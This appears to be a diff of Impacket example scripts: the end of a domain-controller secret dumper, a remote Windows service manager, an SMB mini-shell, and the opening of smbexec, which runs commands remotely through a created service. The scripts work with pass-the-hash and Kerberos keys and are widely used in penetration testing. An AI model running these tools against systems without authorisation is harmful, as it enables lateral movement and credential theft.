sys.exit(1)
elif options.resumefile is not None:
logging.error('resuming a previous NTDS.DIT dump session not compatible with -just-dc-user switch')
sys.exit(1)
elif address.upper() == 'LOCAL' and username == '':
logging.error('-just-dc-user not compatible in LOCAL mode')
sys.exit(1)
else:
# Having this switch on implies not asking for anything else.
options.just_dc = True
if options.use_vss is True and options.resumefile is not None:
logging.error('resuming a previous NTDS.DIT dump session is not supported in VSS mode')
sys.exit(1)
if address.upper() == 'LOCAL' and username == '' and options.resumefile is not None:
logging.error('resuming a previous NTDS.DIT dump session is not supported in LOCAL mode')
sys.exit(1)
if address.upper() == 'LOCAL' and username == '':
if options.system is None:
logging.error('SYSTEM hive is always required for local parsing, check help')
sys.exit(1)
else:
if domain is None:
domain = ''
if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None:
from getpass import getpass
password = getpass("Password:")
if options.aesKey is not None:
options.k = True
dumper = DumpSecrets(address, username, password, domain, options)
try:
dumper.dump()
except Exception, e:
logging.error(e)

View File

@@ -0,0 +1,356 @@
#!/usr/bin/env python
# Copyright (c) 2003-2016 CORE Security Technologies
#
# This software is provided under under a slightly modified version
# of the Apache Software License. See the accompanying LICENSE file
# for more information.
#
# [MS-SCMR] services common functions for manipulating services
#
# Author:
# Alberto Solino (@agsolino)
#
# Reference for:
# DCE/RPC.
# TODO:
# [ ] Check errors
import sys
import argparse
import logging
import codecs
from impacket.examples import logger
from impacket import version
from impacket.dcerpc.v5 import transport, scmr
from impacket.dcerpc.v5.ndr import NULL
from impacket.crypto import *
class SVCCTL:
def __init__(self, username, password, domain, options, port=445):
self.__username = username
self.__password = password
self.__options = options
self.__port = port
self.__action = options.action.upper()
self.__domain = domain
self.__lmhash = ''
self.__nthash = ''
self.__aesKey = options.aesKey
self.__doKerberos = options.k
self.__kdcHost = options.dc_ip
if options.hashes is not None:
self.__lmhash, self.__nthash = options.hashes.split(':')
def run(self, remoteName, remoteHost):
stringbinding = 'ncacn_np:%s[\pipe\svcctl]' % remoteName
logging.debug('StringBinding %s'%stringbinding)
rpctransport = transport.DCERPCTransportFactory(stringbinding)
rpctransport.set_dport(self.__port)
rpctransport.setRemoteHost(remoteHost)
if hasattr(rpctransport, 'set_credentials'):
# This method exists only for selected protocol sequences.
rpctransport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey)
rpctransport.set_kerberos(self.__doKerberos, self.__kdcHost)
self.doStuff(rpctransport)
def doStuff(self, rpctransport):
dce = rpctransport.get_dce_rpc()
#dce.set_credentials(self.__username, self.__password)
dce.connect()
#dce.set_max_fragment_size(1)
#dce.set_auth_level(ntlm.NTLM_AUTH_PKT_PRIVACY)
#dce.set_auth_level(ntlm.NTLM_AUTH_PKT_INTEGRITY)
dce.bind(scmr.MSRPC_UUID_SCMR)
#rpc = svcctl.DCERPCSvcCtl(dce)
rpc = dce
ans = scmr.hROpenSCManagerW(rpc)
scManagerHandle = ans['lpScHandle']
if self.__action != 'LIST' and self.__action != 'CREATE':
ans = scmr.hROpenServiceW(rpc, scManagerHandle, self.__options.name+'\x00')
serviceHandle = ans['lpServiceHandle']
if self.__action == 'START':
logging.info("Starting service %s" % self.__options.name)
scmr.hRStartServiceW(rpc, serviceHandle)
scmr.hRCloseServiceHandle(rpc, serviceHandle)
elif self.__action == 'STOP':
logging.info("Stopping service %s" % self.__options.name)
scmr.hRControlService(rpc, serviceHandle, scmr.SERVICE_CONTROL_STOP)
scmr.hRCloseServiceHandle(rpc, serviceHandle)
elif self.__action == 'DELETE':
logging.info("Deleting service %s" % self.__options.name)
scmr.hRDeleteService(rpc, serviceHandle)
scmr.hRCloseServiceHandle(rpc, serviceHandle)
elif self.__action == 'CONFIG':
logging.info("Querying service config for %s" % self.__options.name)
resp = scmr.hRQueryServiceConfigW(rpc, serviceHandle)
print "TYPE : %2d - " % resp['lpServiceConfig']['dwServiceType'],
if resp['lpServiceConfig']['dwServiceType'] & 0x1:
print "SERVICE_KERNEL_DRIVER ",
if resp['lpServiceConfig']['dwServiceType'] & 0x2:
print "SERVICE_FILE_SYSTEM_DRIVER ",
if resp['lpServiceConfig']['dwServiceType'] & 0x10:
print "SERVICE_WIN32_OWN_PROCESS ",
if resp['lpServiceConfig']['dwServiceType'] & 0x20:
print "SERVICE_WIN32_SHARE_PROCESS ",
if resp['lpServiceConfig']['dwServiceType'] & 0x100:
print "SERVICE_INTERACTIVE_PROCESS ",
print ""
print "START_TYPE : %2d - " % resp['lpServiceConfig']['dwStartType'],
if resp['lpServiceConfig']['dwStartType'] == 0x0:
print "BOOT START"
elif resp['lpServiceConfig']['dwStartType'] == 0x1:
print "SYSTEM START"
elif resp['lpServiceConfig']['dwStartType'] == 0x2:
print "AUTO START"
elif resp['lpServiceConfig']['dwStartType'] == 0x3:
print "DEMAND START"
elif resp['lpServiceConfig']['dwStartType'] == 0x4:
print "DISABLED"
else:
print "UNKOWN"
print "ERROR_CONTROL : %2d - " % resp['lpServiceConfig']['dwErrorControl'],
if resp['lpServiceConfig']['dwErrorControl'] == 0x0:
print "IGNORE"
elif resp['lpServiceConfig']['dwErrorControl'] == 0x1:
print "NORMAL"
elif resp['lpServiceConfig']['dwErrorControl'] == 0x2:
print "SEVERE"
elif resp['lpServiceConfig']['dwErrorControl'] == 0x3:
print "CRITICAL"
else:
print "UNKOWN"
print "BINARY_PATH_NAME : %s" % resp['lpServiceConfig']['lpBinaryPathName'][:-1]
print "LOAD_ORDER_GROUP : %s" % resp['lpServiceConfig']['lpLoadOrderGroup'][:-1]
print "TAG : %d" % resp['lpServiceConfig']['dwTagId']
print "DISPLAY_NAME : %s" % resp['lpServiceConfig']['lpDisplayName'][:-1]
print "DEPENDENCIES : %s" % resp['lpServiceConfig']['lpDependencies'][:-1]
print "SERVICE_START_NAME: %s" % resp['lpServiceConfig']['lpServiceStartName'][:-1]
elif self.__action == 'STATUS':
print "Querying status for %s" % self.__options.name
resp = scmr.hRQueryServiceStatus(rpc, serviceHandle)
print "%30s - " % self.__options.name,
state = resp['lpServiceStatus']['dwCurrentState']
if state == scmr.SERVICE_CONTINUE_PENDING:
print "CONTINUE PENDING"
elif state == scmr.SERVICE_PAUSE_PENDING:
print "PAUSE PENDING"
elif state == scmr.SERVICE_PAUSED:
print "PAUSED"
elif state == scmr.SERVICE_RUNNING:
print "RUNNING"
elif state == scmr.SERVICE_START_PENDING:
print "START PENDING"
elif state == scmr.SERVICE_STOP_PENDING:
print "STOP PENDING"
elif state == scmr.SERVICE_STOPPED:
print "STOPPED"
else:
print "UNKOWN"
elif self.__action == 'LIST':
logging.info("Listing services available on target")
#resp = rpc.EnumServicesStatusW(scManagerHandle, svcctl.SERVICE_WIN32_SHARE_PROCESS )
#resp = rpc.EnumServicesStatusW(scManagerHandle, svcctl.SERVICE_WIN32_OWN_PROCESS )
#resp = rpc.EnumServicesStatusW(scManagerHandle, serviceType = svcctl.SERVICE_FILE_SYSTEM_DRIVER, serviceState = svcctl.SERVICE_STATE_ALL )
resp = scmr.hREnumServicesStatusW(rpc, scManagerHandle)
for i in range(len(resp)):
print "%30s - %70s - " % (resp[i]['lpServiceName'][:-1], resp[i]['lpDisplayName'][:-1]),
state = resp[i]['ServiceStatus']['dwCurrentState']
if state == scmr.SERVICE_CONTINUE_PENDING:
print "CONTINUE PENDING"
elif state == scmr.SERVICE_PAUSE_PENDING:
print "PAUSE PENDING"
elif state == scmr.SERVICE_PAUSED:
print "PAUSED"
elif state == scmr.SERVICE_RUNNING:
print "RUNNING"
elif state == scmr.SERVICE_START_PENDING:
print "START PENDING"
elif state == scmr.SERVICE_STOP_PENDING:
print "STOP PENDING"
elif state == scmr.SERVICE_STOPPED:
print "STOPPED"
else:
print "UNKOWN"
print "Total Services: %d" % len(resp)
elif self.__action == 'CREATE':
logging.info("Creating service %s" % self.__options.name)
scmr.hRCreateServiceW(rpc, scManagerHandle, self.__options.name + '\x00', self.__options.display + '\x00',
lpBinaryPathName=self.__options.path + '\x00')
elif self.__action == 'CHANGE':
logging.info("Changing service config for %s" % self.__options.name)
if self.__options.start_type is not None:
start_type = int(self.__options.start_type)
else:
start_type = scmr.SERVICE_NO_CHANGE
if self.__options.service_type is not None:
service_type = int(self.__options.service_type)
else:
service_type = scmr.SERVICE_NO_CHANGE
if self.__options.display is not None:
display = self.__options.display + '\x00'
else:
display = NULL
if self.__options.path is not None:
path = self.__options.path + '\x00'
else:
path = NULL
if self.__options.start_name is not None:
start_name = self.__options.start_name + '\x00'
else:
start_name = NULL
if self.__options.password is not None:
s = rpctransport.get_smb_connection()
key = s.getSessionKey()
try:
password = (self.__options.password+'\x00').encode('utf-16le')
except UnicodeDecodeError:
import sys
password = (self.__options.password+'\x00').decode(sys.getfilesystemencoding()).encode('utf-16le')
password = encryptSecret(key, password)
else:
password = NULL
#resp = scmr.hRChangeServiceConfigW(rpc, serviceHandle, display, path, service_type, start_type, start_name, password)
scmr.hRChangeServiceConfigW(rpc, serviceHandle, service_type, start_type, scmr.SERVICE_ERROR_IGNORE, path,
NULL, NULL, NULL, 0, start_name, password, 0, display)
scmr.hRCloseServiceHandle(rpc, serviceHandle)
else:
logging.error("Unknown action %s" % self.__action)
scmr.hRCloseServiceHandle(rpc, scManagerHandle)
dce.disconnect()
return
# Process command-line arguments.
if __name__ == '__main__':
# Init the example's logger theme
logger.init()
# Explicitly changing the stdout encoding format
if sys.stdout.encoding is None:
# Output is redirected to a file
sys.stdout = codecs.getwriter('utf8')(sys.stdout)
print version.BANNER
parser = argparse.ArgumentParser(add_help = True, description = "Windows Service manipulation script.")
parser.add_argument('target', action='store', help='[[domain/]username[:password]@]<targetName or address>')
parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON')
subparsers = parser.add_subparsers(help='actions', dest='action')
# A start command
start_parser = subparsers.add_parser('start', help='starts the service')
start_parser.add_argument('-name', action='store', required=True, help='service name')
# A stop command
stop_parser = subparsers.add_parser('stop', help='stops the service')
stop_parser.add_argument('-name', action='store', required=True, help='service name')
# A delete command
delete_parser = subparsers.add_parser('delete', help='deletes the service')
delete_parser.add_argument('-name', action='store', required=True, help='service name')
# A status command
status_parser = subparsers.add_parser('status', help='returns service status')
status_parser.add_argument('-name', action='store', required=True, help='service name')
# A config command
config_parser = subparsers.add_parser('config', help='returns service configuration')
config_parser.add_argument('-name', action='store', required=True, help='service name')
# A list command
list_parser = subparsers.add_parser('list', help='list available services')
# A create command
create_parser = subparsers.add_parser('create', help='create a service')
create_parser.add_argument('-name', action='store', required=True, help='service name')
create_parser.add_argument('-display', action='store', required=True, help='display name')
create_parser.add_argument('-path', action='store', required=True, help='binary path')
# A change command
create_parser = subparsers.add_parser('change', help='change a service configuration')
create_parser.add_argument('-name', action='store', required=True, help='service name')
create_parser.add_argument('-display', action='store', required=False, help='display name')
create_parser.add_argument('-path', action='store', required=False, help='binary path')
create_parser.add_argument('-service_type', action='store', required=False, help='service type')
create_parser.add_argument('-start_type', action='store', required=False, help='service start type')
create_parser.add_argument('-start_name', action='store', required=False, help='string that specifies the name of '
'the account under which the service should run')
create_parser.add_argument('-password', action='store', required=False, help='string that contains the password of '
'the account whose name was specified by the start_name parameter')
group = parser.add_argument_group('authentication')
group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH')
group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)')
group.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file '
'(KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the '
'ones specified in the command line')
group.add_argument('-aesKey', action="store", metavar = "hex key", help='AES key to use for Kerberos Authentication '
'(128 or 256 bits)')
group = parser.add_argument_group('connection')
group.add_argument('-dc-ip', action='store',metavar = "ip address", help='IP Address of the domain controller. If '
'ommited it use the domain part (FQDN) specified in the target parameter')
group.add_argument('-target-ip', action='store', metavar="ip address", help='IP Address of the target machine. If '
'ommited it will use whatever was specified as target. This is useful when target is the NetBIOS '
'name and you cannot resolve it')
group.add_argument('-port', choices=['139', '445'], nargs='?', default='445', metavar="destination port",
help='Destination port to connect to SMB Server')
if len(sys.argv)==1:
parser.print_help()
sys.exit(1)
options = parser.parse_args()
if options.debug is True:
logging.getLogger().setLevel(logging.DEBUG)
else:
logging.getLogger().setLevel(logging.INFO)
import re
domain, username, password, remoteName = re.compile('(?:(?:([^/@:]*)/)?([^@:]*)(?::([^@]*))?@)?(.*)').match(
options.target).groups('')
#In case the password contains '@'
if '@' in remoteName:
password = password + '@' + remoteName.rpartition('@')[0]
remoteName = remoteName.rpartition('@')[2]
if domain is None:
domain = ''
if options.target_ip is None:
options.target_ip = remoteName
if options.aesKey is not None:
options.k = True
if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None:
from getpass import getpass
password = getpass("Password:")
services = SVCCTL(username, password, domain, options, int(options.port))
try:
services.run(remoteName, options.target_ip)
except Exception, e:
logging.error(str(e))

View File

@@ -0,0 +1,560 @@
#!/usr/bin/env python
# Copyright (c) 2003-2016 CORE Security Technologies
#
# This software is provided under under a slightly modified version
# of the Apache Software License. See the accompanying LICENSE file
# for more information.
#
# Description: Mini shell using some of the SMB funcionality of the library
#
# Author:
# Alberto Solino (@agsolino)
#
#
# Reference for:
# SMB DCE/RPC
#
import sys
import time
import logging
import argparse
import cmd
import os
from impacket.examples import logger
from impacket import version
from impacket.dcerpc.v5 import samr, transport, srvs
from impacket.dcerpc.v5.dtypes import NULL
from impacket.smbconnection import *
# If you wanna have readline like functionality in Windows, install pyreadline
try:
import pyreadline as readline
except ImportError:
import readline
class MiniImpacketShell(cmd.Cmd):
def __init__(self, smbClient,tcpShell=None):
#If the tcpShell parameter is passed (used in ntlmrelayx),
# all input and output is redirected to a tcp socket
# instead of to stdin / stdout
if tcpShell is not None:
cmd.Cmd.__init__(self,stdin=tcpShell,stdout=tcpShell)
sys.stdout = tcpShell
sys.stdin = tcpShell
sys.stderr = tcpShell
self.use_rawinput = False
self.shell = tcpShell
else:
cmd.Cmd.__init__(self)
self.shell = None
self.prompt = '# '
self.smb = smbClient
self.username, self.password, self.domain, self.lmhash, self.nthash, self.aesKey, self.TGT, self.TGS = smbClient.getCredentials()
self.tid = None
self.intro = 'Type help for list of commands'
self.pwd = ''
self.share = None
self.loggedIn = True
self.last_output = None
self.completion = []
def emptyline(self):
pass
def precmd(self,line):
# switch to unicode
return line.decode('utf-8')
def onecmd(self,s):
retVal = False
try:
retVal = cmd.Cmd.onecmd(self,s)
except Exception, e:
#import traceback
#print traceback.print_exc()
logging.error(e)
return retVal
def do_exit(self,line):
if self.shell is not None:
self.shell.close()
return True
def do_shell(self, line):
output = os.popen(line).read()
print output
self.last_output = output
def do_help(self,line):
print """
open {host,port=445} - opens a SMB connection against the target host/port
login {domain/username,passwd} - logs into the current SMB connection, no parameters for NULL connection. If no password specified, it'll be prompted
kerberos_login {domain/username,passwd} - logs into the current SMB connection using Kerberos. If no password specified, it'll be prompted. Use the DNS resolvable domain name
login_hash {domain/username,lmhash:nthash} - logs into the current SMB connection using the password hashes
logoff - logs off
shares - list available shares
use {sharename} - connect to an specific share
cd {path} - changes the current directory to {path}
lcd {path} - changes the current local directory to {path}
pwd - shows current remote directory
password - changes the user password, the new password will be prompted for input
ls {wildcard} - lists all the files in the current directory
rm {file} - removes the selected file
mkdir {dirname} - creates the directory under the current path
rmdir {dirname} - removes the directory under the current path
put {filename} - uploads the filename into the current path
get {filename} - downloads the filename from the current path
info - returns NetrServerInfo main results
who - returns the sessions currently connected at the target host (admin required)
close - closes the current SMB Session
exit - terminates the server process (and this session)
"""
def do_password(self, line):
if self.loggedIn is False:
logging.error("Not logged in")
return
from getpass import getpass
newPassword = getpass("New Password:")
rpctransport = transport.SMBTransport(self.smb.getRemoteHost(), filename = r'\samr', smb_connection = self.smb)
dce = rpctransport.get_dce_rpc()
dce.connect()
dce.bind(samr.MSRPC_UUID_SAMR)
samr.hSamrUnicodeChangePasswordUser2(dce, '\x00', self.username, self.password, newPassword, self.lmhash, self.nthash)
self.password = newPassword
self.lmhash = None
self.nthash = None
def do_open(self,line):
l = line.split(' ')
port = 445
if len(l) > 0:
host = l[0]
if len(l) > 1:
port = int(l[1])
if port == 139:
self.smb = SMBConnection('*SMBSERVER', host, sess_port=port)
else:
self.smb = SMBConnection(host, host, sess_port=port)
dialect = self.smb.getDialect()
if dialect == SMB_DIALECT:
logging.info("SMBv1 dialect used")
elif dialect == SMB2_DIALECT_002:
logging.info("SMBv2.0 dialect used")
elif dialect == SMB2_DIALECT_21:
logging.info("SMBv2.1 dialect used")
else:
logging.info("SMBv3.0 dialect used")
self.share = None
self.tid = None
self.pwd = ''
self.loggedIn = False
self.password = None
self.lmhash = None
self.nthash = None
self.username = None
def do_login(self,line):
if self.smb is None:
logging.error("No connection open")
return
l = line.split(' ')
username = ''
password = ''
domain = ''
if len(l) > 0:
username = l[0]
if len(l) > 1:
password = l[1]
if username.find('/') > 0:
domain, username = username.split('/')
if password == '' and username != '':
from getpass import getpass
password = getpass("Password:")
self.smb.login(username, password, domain=domain)
self.password = password
self.username = username
if self.smb.isGuestSession() > 0:
logging.info("GUEST Session Granted")
else:
logging.info("USER Session Granted")
self.loggedIn = True
def do_kerberos_login(self,line):
if self.smb is None:
logging.error("No connection open")
return
l = line.split(' ')
username = ''
password = ''
domain = ''
if len(l) > 0:
username = l[0]
if len(l) > 1:
password = l[1]
if username.find('/') > 0:
domain, username = username.split('/')
if domain == '':
logging.error("Domain must be specified for Kerberos login")
return
if password == '' and username != '':
from getpass import getpass
password = getpass("Password:")
self.smb.kerberosLogin(username, password, domain=domain)
self.password = password
self.username = username
if self.smb.isGuestSession() > 0:
logging.info("GUEST Session Granted")
else:
logging.info("USER Session Granted")
self.loggedIn = True
def do_login_hash(self,line):
if self.smb is None:
logging.error("No connection open")
return
l = line.split(' ')
domain = ''
if len(l) > 0:
username = l[0]
if len(l) > 1:
hashes = l[1]
else:
logging.error("Hashes needed. Format is lmhash:nthash")
return
if username.find('/') > 0:
domain, username = username.split('/')
lmhash, nthash = hashes.split(':')
self.smb.login(username, '', domain,lmhash=lmhash, nthash=nthash)
self.username = username
self.lmhash = lmhash
self.nthash = nthash
if self.smb.isGuestSession() > 0:
logging.info("GUEST Session Granted")
else:
logging.info("USER Session Granted")
self.loggedIn = True
def do_logoff(self, line):
if self.smb is None:
logging.error("No connection open")
return
self.smb.logoff()
del self.smb
self.share = None
self.smb = None
self.tid = None
self.pwd = ''
self.loggedIn = False
self.password = None
self.lmhash = None
self.nthash = None
self.username = None
def do_info(self, line):
if self.loggedIn is False:
logging.error("Not logged in")
return
rpctransport = transport.SMBTransport(self.smb.getRemoteHost(), filename = r'\srvsvc', smb_connection = self.smb)
dce = rpctransport.get_dce_rpc()
dce.connect()
dce.bind(srvs.MSRPC_UUID_SRVS)
resp = srvs.hNetrServerGetInfo(dce, 102)
print "Version Major: %d" % resp['InfoStruct']['ServerInfo102']['sv102_version_major']
print "Version Minor: %d" % resp['InfoStruct']['ServerInfo102']['sv102_version_minor']
print "Server Name: %s" % resp['InfoStruct']['ServerInfo102']['sv102_name']
print "Server Comment: %s" % resp['InfoStruct']['ServerInfo102']['sv102_comment']
print "Server UserPath: %s" % resp['InfoStruct']['ServerInfo102']['sv102_userpath']
print "Simultaneous Users: %d" % resp['InfoStruct']['ServerInfo102']['sv102_users']
def do_who(self, line):
if self.loggedIn is False:
logging.error("Not logged in")
return
rpctransport = transport.SMBTransport(self.smb.getRemoteHost(), filename = r'\srvsvc', smb_connection = self.smb)
dce = rpctransport.get_dce_rpc()
dce.connect()
dce.bind(srvs.MSRPC_UUID_SRVS)
resp = srvs.hNetrSessionEnum(dce, NULL, NULL, 10)
for session in resp['InfoStruct']['SessionInfo']['Level10']['Buffer']:
print "host: %15s, user: %5s, active: %5d, idle: %5d" % (
session['sesi10_cname'][:-1], session['sesi10_username'][:-1], session['sesi10_time'],
session['sesi10_idle_time'])
def do_shares(self, line):
if self.loggedIn is False:
logging.error("Not logged in")
return
resp = self.smb.listShares()
for i in range(len(resp)):
print resp[i]['shi1_netname'][:-1]
def do_use(self,line):
if self.loggedIn is False:
logging.error("Not logged in")
return
self.share = line
self.tid = self.smb.connectTree(line)
self.pwd = '\\'
self.do_ls('', False)
def complete_cd(self, text, line, begidx, endidx):
return self.complete_get(text, line, begidx, endidx, include = 2)
def do_cd(self, line):
if self.tid is None:
logging.error("No share selected")
return
p = string.replace(line,'/','\\')
oldpwd = self.pwd
if p[0] == '\\':
self.pwd = line
else:
self.pwd = ntpath.join(self.pwd, line)
self.pwd = ntpath.normpath(self.pwd)
# Let's try to open the directory to see if it's valid
try:
fid = self.smb.openFile(self.tid, self.pwd, creationOption = FILE_DIRECTORY_FILE \
, desiredAccess = FILE_READ_DATA | FILE_LIST_DIRECTORY \
, shareMode = FILE_SHARE_READ | FILE_SHARE_WRITE \
)
self.smb.closeFile(self.tid,fid)
except SessionError:
self.pwd = oldpwd
raise
def do_lcd(self, s):
print s
if s == '':
print os.getcwd()
else:
os.chdir(s)
def do_pwd(self,line):
if self.loggedIn is False:
logging.error("Not logged in")
return
print self.pwd
def do_ls(self, wildcard, display = True):
if self.loggedIn is False:
logging.error("Not logged in")
return
if self.tid is None:
logging.error("No share selected")
return
if wildcard == '':
pwd = ntpath.join(self.pwd,'*')
else:
pwd = ntpath.join(self.pwd, wildcard)
self.completion = []
pwd = string.replace(pwd,'/','\\')
pwd = ntpath.normpath(pwd)
for f in self.smb.listPath(self.share, pwd):
if display is True:
print "%crw-rw-rw- %10d %s %s" % (
'd' if f.is_directory() > 0 else '-', f.get_filesize(), time.ctime(float(f.get_mtime_epoch())),
f.get_longname())
self.completion.append((f.get_longname(), f.is_directory()))
def do_rm(self, filename):
if self.tid is None:
logging.error("No share selected")
return
f = ntpath.join(self.pwd, filename)
file = string.replace(f,'/','\\')
self.smb.deleteFile(self.share, file)
def do_mkdir(self, path):
if self.tid is None:
logging.error("No share selected")
return
p = ntpath.join(self.pwd, path)
pathname = string.replace(p,'/','\\')
self.smb.createDirectory(self.share,pathname)
def do_rmdir(self, path):
if self.tid is None:
logging.error("No share selected")
return
p = ntpath.join(self.pwd, path)
pathname = string.replace(p,'/','\\')
self.smb.deleteDirectory(self.share, pathname)
def do_put(self, pathname):
if self.tid is None:
logging.error("No share selected")
return
src_path = pathname
dst_name = os.path.basename(src_path)
fh = open(pathname, 'rb')
f = ntpath.join(self.pwd,dst_name)
finalpath = string.replace(f,'/','\\')
self.smb.putFile(self.share, finalpath, fh.read)
fh.close()
def complete_get(self, text, line, begidx, endidx, include = 1):
# include means
# 1 just files
# 2 just directories
p = string.replace(line,'/','\\')
if p.find('\\') < 0:
items = []
if include == 1:
mask = 0
else:
mask = 0x010
for i in self.completion:
if i[1] == mask:
items.append(i[0])
if text:
return [
item for item in items
if item.upper().startswith(text.upper())
]
else:
return items
def do_get(self, filename):
if self.tid is None:
logging.error("No share selected")
return
filename = string.replace(filename,'/','\\')
fh = open(ntpath.basename(filename),'wb')
pathname = ntpath.join(self.pwd,filename)
try:
self.smb.getFile(self.share, pathname, fh.write)
except:
fh.close()
os.remove(filename)
raise
fh.close()
def do_close(self, line):
self.do_logoff(line)
def main():
# Init the example's logger theme
logger.init()
print version.BANNER
parser = argparse.ArgumentParser(add_help = True, description = "SMB client implementation.")
parser.add_argument('target', action='store', help='[[domain/]username[:password]@]<targetName or address>')
parser.add_argument('-file', type=argparse.FileType('r'), help='input file with commands to execute in the mini shell')
parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON')
group = parser.add_argument_group('authentication')
group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH')
group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)')
group.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file '
'(KRB5CCNAME) based on target parameters. If valid credentials '
'cannot be found, it will use the ones specified in the command '
'line')
group.add_argument('-aesKey', action="store", metavar = "hex key", help='AES key to use for Kerberos Authentication '
'(128 or 256 bits)')
group = parser.add_argument_group('connection')
group.add_argument('-dc-ip', action='store', metavar="ip address",
help='IP Address of the domain controller. If ommited it use the domain part (FQDN) specified in '
'the target parameter')
group.add_argument('-target-ip', action='store', metavar="ip address",
help='IP Address of the target machine. If ommited it will use whatever was specified as target. '
'This is useful when target is the NetBIOS name and you cannot resolve it')
group.add_argument('-port', choices=['139', '445'], nargs='?', default='445', metavar="destination port",
help='Destination port to connect to SMB Server')
if len(sys.argv)==1:
parser.print_help()
sys.exit(1)
options = parser.parse_args()
if options.debug is True:
logging.getLogger().setLevel(logging.DEBUG)
else:
logging.getLogger().setLevel(logging.INFO)
import re
domain, username, password, address = re.compile('(?:(?:([^/@:]*)/)?([^@:]*)(?::([^@]*))?@)?(.*)').match(
options.target).groups('')
#In case the password contains '@'
if '@' in address:
password = password + '@' + address.rpartition('@')[0]
address = address.rpartition('@')[2]
if options.target_ip is None:
options.target_ip = address
if domain is None:
domain = ''
if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None:
from getpass import getpass
password = getpass("Password:")
if options.aesKey is not None:
options.k = True
if options.hashes is not None:
lmhash, nthash = options.hashes.split(':')
else:
lmhash = ''
nthash = ''
try:
smbClient = SMBConnection(address, options.target_ip, sess_port=int(options.port))
if options.k is True:
smbClient.kerberosLogin(username, password, domain, lmhash, nthash, options.aesKey, options.dc_ip )
else:
smbClient.login(username, password, domain, lmhash, nthash)
shell = MiniImpacketShell(smbClient)
if options.file is not None:
logging.info("Executing commands from %s" % options.file.name)
for line in options.file.readlines():
if line[0] != '#':
print "# %s" % line,
shell.onecmd(line)
else:
print line,
else:
shell.cmdloop()
except Exception, e:
#import traceback
#print traceback.print_exc()
logging.error(str(e))
if __name__ == "__main__":
main()

View File

@@ -0,0 +1,350 @@
#!/usr/bin/env python
# Copyright (c) 2003-2016 CORE Security Technologies
#
# This software is provided under under a slightly modified version
# of the Apache Software License. See the accompanying LICENSE file
# for more information.
#
# A similar approach to psexec w/o using RemComSvc. The technique is described here
# http://www.accuvant.com/blog/owning-computers-without-shell-access
# Our implementation goes one step further, instantiating a local smbserver to receive the
# output of the commands. This is useful in the situation where the target machine does NOT
# have a writeable share available.
# Keep in mind that, although this technique might help avoiding AVs, there are a lot of
# event logs generated and you can't expect executing tasks that will last long since Windows
# will kill the process since it's not responding as a Windows service.
# Certainly not a stealthy way.
#
# This script works in two ways:
# 1) share mode: you specify a share, and everything is done through that share.
# 2) server mode: if for any reason there's no share available, this script will launch a local
# SMB server, so the output of the commands executed are sent back by the target machine
# into a locally shared folder. Keep in mind you would need root access to bind to port 445
# in the local machine.
#
# Author:
# beto (@agsolino)
#
# Reference for:
# DCE/RPC and SMB.
import sys
import os
import cmd
import argparse
import ConfigParser
import logging
from threading import Thread
from impacket.examples import logger
from impacket import version, smbserver
from impacket.smbconnection import *
from impacket.dcerpc.v5 import transport, scmr
OUTPUT_FILENAME = '__output'
BATCH_FILENAME = 'execute.bat'
SMBSERVER_DIR = '__tmp'
DUMMY_SHARE = 'TMP'
class SMBServer(Thread):
def __init__(self):
Thread.__init__(self)
self.smb = None
def cleanup_server(self):
logging.info('Cleaning up..')
try:
os.unlink(SMBSERVER_DIR + '/smb.log')
except:
pass
os.rmdir(SMBSERVER_DIR)
def run(self):
# Here we write a mini config for the server
smbConfig = ConfigParser.ConfigParser()
smbConfig.add_section('global')
smbConfig.set('global','server_name','server_name')
smbConfig.set('global','server_os','UNIX')
smbConfig.set('global','server_domain','WORKGROUP')
smbConfig.set('global','log_file',SMBSERVER_DIR + '/smb.log')
smbConfig.set('global','credentials_file','')
# Let's add a dummy share
smbConfig.add_section(DUMMY_SHARE)
smbConfig.set(DUMMY_SHARE,'comment','')
smbConfig.set(DUMMY_SHARE,'read only','no')
smbConfig.set(DUMMY_SHARE,'share type','0')
smbConfig.set(DUMMY_SHARE,'path',SMBSERVER_DIR)
# IPC always needed
smbConfig.add_section('IPC$')
smbConfig.set('IPC$','comment','')
smbConfig.set('IPC$','read only','yes')
smbConfig.set('IPC$','share type','3')
smbConfig.set('IPC$','path')
self.smb = smbserver.SMBSERVER(('0.0.0.0',445), config_parser = smbConfig)
logging.info('Creating tmp directory')
try:
os.mkdir(SMBSERVER_DIR)
except Exception, e:
logging.critical(str(e))
pass
logging.info('Setting up SMB Server')
self.smb.processConfigFile()
logging.info('Ready to listen...')
try:
self.smb.serve_forever()
except:
pass
def stop(self):
self.cleanup_server()
self.smb.socket.close()
self.smb.server_close()
self._Thread__stop()
class CMDEXEC:
def __init__(self, username='', password='', domain='', hashes=None, aesKey=None,
doKerberos=None, kdcHost=None, mode=None, share=None, port=445):
self.__username = username
self.__password = password
self.__port = port
self.__serviceName = 'BTOBTO'
self.__domain = domain
self.__lmhash = ''
self.__nthash = ''
self.__aesKey = aesKey
self.__doKerberos = doKerberos
self.__kdcHost = kdcHost
self.__share = share
self.__mode = mode
self.shell = None
if hashes is not None:
self.__lmhash, self.__nthash = hashes.split(':')
def run(self, remoteName, remoteHost):
stringbinding = 'ncacn_np:%s[\pipe\svcctl]' % remoteName
logging.debug('StringBinding %s'%stringbinding)
rpctransport = transport.DCERPCTransportFactory(stringbinding)
rpctransport.set_dport(self.__port)
rpctransport.setRemoteHost(remoteHost)
if hasattr(rpctransport,'preferred_dialect'):
rpctransport.preferred_dialect(SMB_DIALECT)
if hasattr(rpctransport, 'set_credentials'):
# This method exists only for selected protocol sequences.
rpctransport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash,
self.__nthash, self.__aesKey)
